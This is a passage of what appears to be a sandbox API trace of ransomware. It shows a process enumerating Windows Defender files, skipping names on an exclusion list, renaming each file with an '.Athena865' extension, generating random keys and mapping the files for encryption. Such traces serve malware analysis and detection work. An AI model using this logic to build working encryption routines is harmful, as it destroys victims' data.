(HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.535] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0038.535] CloseHandle (hObject=0x17c) returned 1 [0038.535] CloseHandle (hObject=0x154) returned 1 [0038.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.536] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.537] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1a0776, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2a1a0776, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33bf4fb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8ba00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2=".") returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="..") returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="windows") returned -1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="bootmgr") returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="temp") returned -1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="pagefile.sys") returned -1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="boot") returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="ids.txt") returned 1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="ntuser.dat") returned -1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="perflogs") returned -1 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2="MSBuild") returned -1 [0038.537] lstrlenW (lpString="MpClient.dll") returned 12 [0038.537] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpClient.dll" | out: lpString1="MpClient.dll") returned="MpClient.dll" [0038.537] lstrlenW (lpString="MpClient.dll") returned 12 [0038.537] lstrlenW (lpString="Athena865") returned 9 [0038.537] lstrcmpiW (lpString1="lient.dll", lpString2="Athena865") returned 1 [0038.537] lstrlenW (lpString=".dll") returned 4 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2=".dll") returned 1 [0038.537] lstrlenW (lpString=".lnk") returned 4 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2=".lnk") returned 1 [0038.537] lstrlenW (lpString=".ini") returned 4 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2=".ini") returned 1 [0038.537] lstrlenW (lpString=".sys") returned 4 [0038.537] lstrcmpiW (lpString1="MpClient.dll", lpString2=".sys") returned 1 [0038.537] lstrlenW (lpString="MpClient.dll") returned 12 [0038.537] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpClient.dll.Athena865") returned 56 [0038.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files\\windows defender\\mpclient.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpClient.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpclient.dll.athena865"), dwFlags=0x1) returned 1 [0038.538] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpClient.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpclient.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.539] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=571904) returned 1 [0038.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.539] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.539] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.540] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.540] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.540] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8bd00, lpName=0x0) returned 0x17c [0038.549] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8bd00) returned 0x2d50000 [0038.574] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.574] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.574] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.575] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0038.580] CloseHandle (hObject=0x17c) returned 1 [0038.580] CloseHandle (hObject=0x154) returned 1 [0038.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.586] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.589] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7bb298, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1f7bb298, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe86ec360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2ea00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".") returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="..") returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="windows") returned -1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="bootmgr") returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="temp") returned -1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="pagefile.sys") returned -1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="boot") returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="ids.txt") returned 1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="ntuser.dat") returned -1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="perflogs") returned -1 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2="MSBuild") returned -1 [0038.589] lstrlenW (lpString="MpCmdRun.exe") returned 12 [0038.589] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpCmdRun.exe" | out: lpString1="MpCmdRun.exe") returned="MpCmdRun.exe" [0038.589] lstrlenW (lpString="MpCmdRun.exe") returned 12 [0038.589] lstrlenW (lpString="Athena865") returned 9 [0038.589] lstrcmpiW (lpString1="mdRun.exe", lpString2="Athena865") returned 1 [0038.589] lstrlenW (lpString=".dll") returned 4 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".dll") returned 1 [0038.589] lstrlenW (lpString=".lnk") returned 4 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".lnk") returned 1 [0038.589] lstrlenW (lpString=".ini") returned 4 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".ini") returned 1 [0038.589] lstrlenW (lpString=".sys") returned 4 [0038.589] lstrcmpiW (lpString1="MpCmdRun.exe", lpString2=".sys") returned 1 [0038.589] lstrlenW (lpString="MpCmdRun.exe") returned 12 [0038.589] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpCmdRun.exe.Athena865") returned 56 [0038.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpCmdRun.exe" (normalized: "c:\\program files\\windows defender\\mpcmdrun.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpCmdRun.exe.Athena865" (normalized: "c:\\program files\\windows defender\\mpcmdrun.exe.athena865"), dwFlags=0x1) returned 1 [0038.590] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpCmdRun.exe.Athena865" (normalized: "c:\\program files\\windows defender\\mpcmdrun.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.590] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=190976) returned 1 [0038.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.591] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.591] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.591] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.591] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ed00, lpName=0x0) returned 0x17c [0038.593] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ed00) returned 0x170000 [0038.601] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.601] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.601] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.602] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.602] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0038.604] CloseHandle (hObject=0x17c) returned 1 [0038.604] CloseHandle (hObject=0x154) returned 1 [0038.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.607] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2070df03, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x2070df03, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33cb3690, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4ce00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".") returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="..") returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="windows") returned -1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="bootmgr") returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="temp") returned -1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="pagefile.sys") returned -1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="boot") returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="ids.txt") returned 1 [0038.607] lstrcmpiW (lpString1="MpCommu.dll", lpString2="ntuser.dat") returned -1 [0038.608] lstrcmpiW (lpString1="MpCommu.dll", lpString2="perflogs") returned -1 [0038.608] lstrcmpiW (lpString1="MpCommu.dll", lpString2="MSBuild") returned -1 [0038.608] lstrlenW (lpString="MpCommu.dll") returned 11 [0038.608] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpCommu.dll" | out: lpString1="MpCommu.dll") returned="MpCommu.dll" [0038.608] lstrlenW (lpString="MpCommu.dll") returned 11 [0038.608] lstrlenW (lpString="Athena865") returned 9 [0038.608] lstrcmpiW (lpString1="Commu.dll", lpString2="Athena865") returned 1 [0038.608] lstrlenW (lpString=".dll") returned 4 [0038.608] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".dll") returned 1 [0038.608] lstrlenW (lpString=".lnk") returned 4 [0038.608] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".lnk") returned 1 [0038.608] lstrlenW (lpString=".ini") returned 4 [0038.608] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".ini") returned 1 [0038.608] lstrlenW (lpString=".sys") returned 4 [0038.608] lstrcmpiW (lpString1="MpCommu.dll", lpString2=".sys") returned 1 [0038.608] lstrlenW (lpString="MpCommu.dll") returned 11 [0038.608] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpCommu.dll.Athena865") returned 55 [0038.608] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpCommu.dll" (normalized: "c:\\program files\\windows defender\\mpcommu.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpCommu.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpcommu.dll.athena865"), dwFlags=0x1) returned 1 [0038.609] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpCommu.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpcommu.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.609] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=314880) returned 1 [0038.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.609] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.609] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.610] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.610] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.610] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4d100, lpName=0x0) returned 0x17c [0038.611] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4d100) returned 0x1f0000 [0038.621] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.622] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.622] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.622] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.623] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0038.625] CloseHandle (hObject=0x17c) returned 1 [0038.625] CloseHandle (hObject=0x154) returned 1 [0038.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0038.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.630] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.631] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15819bcb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x15819bcb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7d1de1f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".") returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="..") returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="windows") returned -1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="bootmgr") returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="temp") returned -1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="pagefile.sys") returned -1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="boot") returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="ids.txt") returned 1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="ntuser.dat") returned -1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="perflogs") returned -1 [0038.631] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2="MSBuild") returned -1 [0038.631] lstrlenW (lpString="MpEvMsg.dll") returned 11 [0038.631] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpEvMsg.dll" | out: lpString1="MpEvMsg.dll") returned="MpEvMsg.dll" [0038.631] lstrlenW (lpString="MpEvMsg.dll") returned 11 [0038.632] lstrlenW (lpString="Athena865") returned 9 [0038.632] lstrcmpiW (lpString1="EvMsg.dll", lpString2="Athena865") returned 1 [0038.632] lstrlenW (lpString=".dll") returned 4 [0038.632] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".dll") returned 1 [0038.632] lstrlenW (lpString=".lnk") returned 4 [0038.632] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".lnk") returned 1 [0038.632] lstrlenW (lpString=".ini") returned 4 [0038.632] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".ini") returned 1 [0038.632] lstrlenW (lpString=".sys") returned 4 [0038.632] lstrcmpiW (lpString1="MpEvMsg.dll", lpString2=".sys") returned 1 [0038.632] lstrlenW (lpString="MpEvMsg.dll") returned 11 [0038.632] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpEvMsg.dll.Athena865") returned 55 [0038.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpEvMsg.dll" (normalized: "c:\\program files\\windows defender\\mpevmsg.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpEvMsg.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpevmsg.dll.athena865"), dwFlags=0x1) returned 1 [0038.632] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpEvMsg.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpevmsg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.633] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52224) returned 1 [0038.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.633] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.633] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.634] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.634] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.634] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcf00, lpName=0x0) returned 0x17c [0038.636] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcf00) returned 0x100000 [0038.638] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.639] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.639] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.640] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0038.640] CloseHandle (hObject=0x17c) returned 1 [0038.640] CloseHandle (hObject=0x154) returned 1 [0038.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 